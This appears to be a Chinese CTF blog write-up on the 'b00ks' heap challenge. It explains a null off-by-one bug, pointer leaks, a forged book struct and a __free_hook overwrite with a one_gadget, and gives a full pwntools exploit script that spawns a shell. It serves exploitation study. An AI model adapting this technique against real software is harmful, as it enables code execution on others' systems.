b00ks writeup

2018-05-06  本文已影响134人  zs0zrc

混子pwn手,最近在看堆的知识点,刚看完CTF-WiKi上的堆的基础知识,开始学习offbyone的利用
先介绍一下offbyone吧,offbyone是指单字节缓冲区溢出
offbyone形成原因:

接下来写下CTF-wiki上的b00ks的writeup,因为它上面并没有解题脚本,只介绍了利用方法,看得我这个菜狗有点小蒙,不过还好找到了大佬写的writeup 大佬writeup地址
下面主要是做点笔记

程序是一个菜单程序
它先让你输入author,然后打印菜单
它提供了6个功能

  1. create book
  2. delete book
  3. Edit a book
  4. print book detail
  5. change current author name
  6. exit

这个程序的漏洞在于它在修改author时,存在offbyone漏洞

image.png

这个b00k的结构体:

image.png

大概是这样子的:

struct b00k{
      int id;
      char *name;
      char *description
      int size;
}

观察ida反汇编的代码可以发现它对要创建b00k name和description的大小都 没有限制,所以可以创建一个很大的b00k

用gdb调试发现,author后面跟着b00k数组


image.png

0x0000555555758160是b00k数组的第一个指针,指向b00k1
只要先往author写入32个字节的内容,然后创建b00k1,在打印就可以泄露出b00k1的地址

这题要泄露出libc的地址,可以通过给b00k2分配一个很大的空间,然后泄露出b00k2的description的地址来计算出libc的地址

原理是:
   If we allocate a chunk bigger than the wilderness chunk, it mmap’s a new area for use. And this area is adjacent to the libc’s bss segment
计算方法:
libc_base = leak_b00k2_pointer - offset
offset是description地址到libc_base的偏移

计算出libc的基地址后,我们就可以通过 基地址+函数在libc中的偏移的方法获取需要的函数的地址
在这里用到的函数是__free_hook()和 execve("/bin/sh",null,environ)
只要将__free_hook()函数的内容修改为execve("/bin/sh",null,environ) 然后再free,只要__free_hook()的内容不为空,它就会去执行内容中的execve("/bin/sh",null,environ)

一些要注意的地方
1. __free_hook()是libc内存管理的钩子函数,允许程序员使用自己定义
的函数来free, 如果__free_hook()的内容不为空,就会执行内容所指
的函数,所以可以通过将__free_hook()函数的内容覆盖成我们想要执
行的函数,再通过free来执行

2. execve("/bin/sh",null,environ) 这个函数可以通过onegadget来找
到,可能找到几个,如果不行就多试几次

hook详情参考

onegadget

解题思路:

  1. 通过print 泄露处b00k1的地址,计算出b00k2的description的地址
  2. 通过edit,修改b00k1的description,在上面伪造b00k1,使其的name和description指针指向b00k2的description
  3. 通过修改author,向author写入32个'a',造成nulloffbyone,使b00k1的指针指向伪造的b00k1
  4. 通过 print 泄露处b00k2的description的地址,计算出libc_base
  5. 利用edit功能通过修改b00k1的description将b00k2的description地址修改为__free_hook()函数的地址,再用edit功能向b00k2的description写入execve("/bin/sh",null,environ) 的地址
  6. 最后通过delete功能将b00k2free掉就可以getshell

附上我写的exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level="debug"

def create_b00k(p,size):
    p.sendline("1")
    p.recvuntil(":")
    p.sendline(str(size))
    p.recvuntil(":")
    p.sendline("aaaa")
    p.recvuntil(":")
    p.sendline(str(size))
    p.recvuntil(":")
    p.sendline("aaaa")
    log.info("create successfully!!!!")

def edit_b00k(p,payload,index):
    p.recv()
    p.sendline("3")
    p.recvuntil(":")
    p.sendline(str(index))
    p.recvuntil(":")
    p.sendline(payload)
    log.info("edit successfully !!")
    
def change(p):
    p.recvuntil(">")
    p.sendline("5")
    p.recvuntil(":")
    p.sendline("a"*32)
    log.info("change successfully!!!!")

def memleak1(p):
    p.recv()
    p.sendline("4")
    p.recvuntil("Author: ")
    data = p.recvline()
    log.info(p.recvuntil(">"))
    data = data.split("a"*32)[1].strip("\n")
    addr = u64(data.ljust(8,"\x00"))
    return addr

def memleak2(p):
    p.recv()
    p.sendline("4")
    p.recvuntil("Name: ")
    data = p.recvline()
    data = data.strip("\n").ljust(8,"\x00")
    data = u64(data)
    log.info("leak b00k2 successsfully")
    return data

p = process("./b00ks")
libc = ELF("./libc.so.6")
p.recvuntil(":")
p.sendline('a'*32)
p.recvuntil(">")
create_b00k(p,140) #b00k1的大小不能太小,不然伪造的fake_b00k1就不能落在正确的地方,就不能被泄露出来

def release():
    p.sendline("2")
    log.info(p.recvuntil(":"))
    p.sendline("2")

log.info("********** leak b00ks1 pointer address **********")
addr = memleak1(p)
print "b00k1 pointer address is --> [%s]"%hex(addr)

log.info("********** edit fake_b00k1 ***********")
b00k2_p = addr + 0x38 #0x38 = 0x20 + 16 + 8  strut_size + chunk_header + sizeof(struct.size)
print "b00k2 pointer address --> [%s]"%hex(b00k2_p)
create_b00k(p,0x21000)
payload = 'a'*0x40 + p64(1) + p64(b00k2_p)*2 + p64(0xffff)
edit_b00k(p,payload,1)

log.info("*********** change author name ***********")
change(p)
addr1 = memleak2(p)
print "b00k2 pointer is --> [%s]"%hex(addr1)

log.info("*********** calculate libc_base **************")
gdb.attach(p)
pause()
offset = addr1 - 0x7ffff7a0d000
libc_base = addr1 - offset
print "libc_base address --> [%s]"%hex(libc_base)
free_hook = libc.symbols['__free_hook'] + libc_base
execve_addr = libc_base + 0x4526a #one_gadget libc.so.6

log.info("*******change description **********")
payload = p64(free_hook)*2
edit_b00k(p,payload,1)
payload = p64(execve_addr)
edit_b00k(p,payload,2)
release()
p.interactive()
上一篇 下一篇

猜你喜欢

热点阅读